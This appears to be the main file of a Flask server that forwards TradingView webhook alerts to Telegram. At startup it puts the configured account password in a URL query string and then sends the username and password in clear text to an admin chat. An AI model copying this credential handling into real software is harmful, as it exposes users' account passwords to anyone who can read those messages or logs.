main.py

# ------------------------------------------------------------------- #
# Plugin Name           : TradingView-Webhook-Alert-Telegram-SnapShot #
# Author Name           : rasoul707                                   #
# File Name             : main.py                                     #
# ------------------------------------------------------------------- #


import json
import time
from flask import Flask, request
import requests
import config
from helper import *


app = Flask(__name__)


def get_timestamp():
    timestamp = time.strftime("%Y-%m-%d %X")
    return timestamp


@app.route("/wh", methods=["POST"])
def webhook():
    try:
        if request.method == "POST":
            data = request.get_json()
            key = request.args.get('key')

            if key in config.keys:
                print(get_timestamp(), "New Alert Received & Prepare To Send!")
                if sendAlert(data, key) == 'err':
                    return "Failed send", 400
                return "Sent alert", 200
            else:
                print("[X]", get_timestamp(),
                      "New Alert Received & Refused! [Key Not Found]")
                return "Refused alert", 400

    except Exception as e:
        print("[X]", get_timestamp(), "Error:\n>", e)
        return "Error", 400


if __name__ == "__main__":
    from waitress import serve
    start = requests.get(
        'http://localhost:7007/start?username='+config.username+'&password='+config.password)
    data = start.json()
    ok = data["ok"]
    status = data["status"]
    username = data["username"]
    password = data["password"]
    useragent = data["useragent"]

    title = 'LoginFailed'
    if ok:
        title = 'LoginSuccess'

    sen2Admin(
        '<b>'+title+':</b> '+status+'\n<b>Username:</b> '+username+'\n<b>Password:</b> '+password+'\n<b>Useragent:</b> '+useragent)

    print(get_timestamp(), title)

    serve(app, host="0.0.0.0", port=80)